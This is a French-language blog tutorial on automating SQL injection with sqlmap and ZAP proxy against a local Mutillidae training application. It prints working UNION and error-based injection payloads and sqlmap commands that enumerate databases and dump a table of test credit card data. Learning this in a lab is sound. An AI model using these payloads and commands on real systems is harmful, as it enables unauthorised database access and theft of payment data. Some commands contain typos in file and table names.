A1: 2017 - Injections (partie 3 et dernières)

Dans mon jeu informatique préféré Quest for Glory 2: Trial by Fire, lorsque le monde est à nouveau en danger, le personnage principal se retrouve à l'Université des sorciers. Après avoir réussi les examens d'entrée, les sorciers barbus sages proposent d'aller dans cette université, car après l'avoir terminée, nous comprendrons toutes les subtilités de la magie, étudierons tous les sorts et nous sauverons définitivement nos amis et vaincrons le mal du monde. Le seul problème est qu'ils devront étudier pendant 15 à 20 ans, et pendant ce temps, les forces du mal auront le temps de vaincre plus d'une fois.

Chaque fois que je me souviens involontairement de cet épisode, quand je fais face à un autre livre intéressant ou à une pile de documentation technique. Beaucoup de livres ont été écrits sur la gestion du temps, mais pour moi, cela se résume à une formule simple: comprendre les bases, comprendre des exemples - alors seulement l'automatisation!

Maintenant que nous avons une idée du fonctionnement des injections, pourquoi ne pas essayer de simplifier nos vies et de faire une fois de plus un exemple du passé, mais avec l'aide de logiciels supplémentaires. Nous avons besoin de deux outils:
Sqlmap - un outil qui vous permet d'automatiser la recherche et l'exploitation des vulnérabilités dans SQL et ZAP Proxy - un serveur proxy local qui est nécessaire pour analyser le trafic entre le navigateur sur le serveur Web.

Encore une fois, il convient de mentionner que ce ne sont pas les seuls outils de ce type, et à coup sûr, dans le prochain blog, vous serez prouvé de manière convaincante qu'au lieu de sqlmap, vous devez traiter avec sqlninja, et vous n'avez pas besoin de passer du temps sur ZAP quand il y a Burp. Je ne discuterai avec personne.

Nous allons commencer à vous faciliter la vie en interceptant le trafic entre le client et le serveur web. Les données résultantes seront utilisées comme paramètres pour sqlmap. Dans l'ensemble, l'URL de l'application vulnérable peut également servir de tel paramètre, mais maintenant les données du proxy seront plus visibles pour nous.

Nous travaillerons avec le même exemple A1 que nous avons analysé dans l' article précédent («SQLi - Extraire les données»> «Info utilisateur (SQL)»).


Nous allons accéder à cette page via notre proxy ZAP et entrer des données. Je comprends que la tentation est déjà d'essayer quelque chose de ce que nous avons appris, mais pour l'instant, il vous suffit de saisir des données manifestement erronées. J'entre mon administrateur / mot de passe préféré et j'obtiens la demande suivante en interception:

GET http://127.0.0.1/mutillidae/index.php?page=user- info.php&username=admin&password=password&user-info-php-submit- button=View+Account+Details HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega Connection: keep-alive Upgrade-Insecure-Requests: 1 Host: 127.0.0.1 

Ici, nous nous intéressons principalement à la première ligne, à savoir la demande. Parfois, il est utile de vérifier si nous avons intercepté. Cela peut être fait en répétant cette requête générée dans le même navigateur. Si nous obtenons la même page avec une erreur, nous sommes sur la bonne voie.

Nous enregistrerons notre demande interceptée dans un fichier séparé request_sqlmap.txt.

Passons maintenant ce fichier pour analyse à sqlmap:

 sqlmap -r reqest_sqlmap.txt --banner 

Nous avons besoin du paramètre –banner pour sqlmap pour essayer de déterminer avec quel SGBD nous avons affaire. Dans notre exemple, ce n'est pas si important, mais dans la pratique, vous pouvez accélérer les tests sans être distrait par des aspects d'autres SGBD qui ne s'appliquent pas à votre objectif.

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests: --- Parameter: username (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details --- [23:20:10] [INFO] the back-end DBMS is MySQL [23:20:10] [INFO] fetching banner web server operating system: Windows web application technology: Apache 2.4.29, PHP 7.2.3 back-end DBMS: MySQL >= 5.0 banner: '10.1.31-MariaDB' [23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1' 

Le scan s'est terminé avec succès, et nous avons de nouveau vu ce que, en général, nous savions déjà:

 [23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable 

De plus, sqlmap a déterminé que nous avons affaire à mysql, ou plutôt à sa fourchette. Voyons maintenant quelles bases de données se trouvent sur le serveur:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs 

Ci-après, nous indiquerons notre fichier d'interception comme paramètre pour sqlmap. De plus, nous indiquerons les paramètres que nous connaissons déjà: le type de SGBD, ainsi que le commutateur -dbs pour obtenir des données sur les bases de données existantes:

 [23:27:19] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] information_schema [*] mutillidae [*] mysql [*] performance_schema [*] phpmyadmin [*] test 


Super. Habituellement, les bases de données reçoivent des noms significatifs ou sont créées automatiquement lors de l'installation des applications. Le principe de la «sécurité par l'obscurité» n'a bien sûr pas été annulé, mais c'est l'exception plutôt que la règle. La chose la plus intéressante dans notre cas, apparemment, est la base des mutillidae, voyons en quoi elle consiste:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables 

Ici, à ce que nous savons, nous ajouterons le SGBD nécessaire et la clé –tables pour consulter les tables de cette base de données:

 [23:29:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae [13 tables] +----------------------------+ | accounts | | balloon_tips | | blogs_table | | captured_data | | credit_cards | | help_texts | | hitlog | | level_1_help_include_files | | page_help | | page_hints | | pen_test_tools | | user_poll_results | | youtubevideos | +----------------------------+ 

Déjà pas mal. La table credit_cards semble particulièrement prometteuse. Examinons-le:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns 

et obtenez:

 [23:31:35] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [4 columns] +------------+---------+ | Column | Type | +------------+---------+ | ccid | int(11) | | ccnumber | text | | ccv | text | | expiration | date | +------------+---------+ 

Wow, il y a toute une table où les données de carte de crédit doivent être stockées! Maintenant que nous sommes arrivés, jetons un œil à ce tableau:

 sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump 

Oups:

 [23:32:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [5 entries] +------+-----+----------------------------+-----------------+ | ccid | ccv | ccnumber | expiration | +------+-----+----------------------------+-----------------+ | 1 | 745 | 4444111122223333 | 2012-03-01 | | 2 | 722 | 7746536337776330 | 2015-04-01 | | 3 | 461 | 8242325748474749 | 2016-03-01 | | 4 | 230 | 7725653200487633 | 2017-06-01 | | 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+----------------------------+-----------------+ 

Les voici, nos cartes de crédit. Deux questions devraient maintenant vous venir à l'esprit: comment ça marche et d'où viennent toutes ces données?

Comment ça marche? Eh bien, à proprement parler, c'est la même chose que si vous triiez toutes les options possibles, en essayant au hasard d'exploiter une vulnérabilité particulière.

Mais d'où viennent les données, la question est à l'administrateur qui a publié des informations aussi importantes dans un endroit aussi inapproprié.

Sqlmap a des dizaines de paramètres que nous ne pouvons pas analyser dans un article. Mais la tâche de mes articles est de présenter la solution, et ensuite c'est à vous. Essayez à votre guise de creuser également le reste de la base et expérimentez les paramètres, les cartes de crédit ne sont peut-être pas les plus intéressantes. =)

Lisez le blog de l'auteur sur ce lien .

Source: https://habr.com/ru/post/fr429706/


All Articles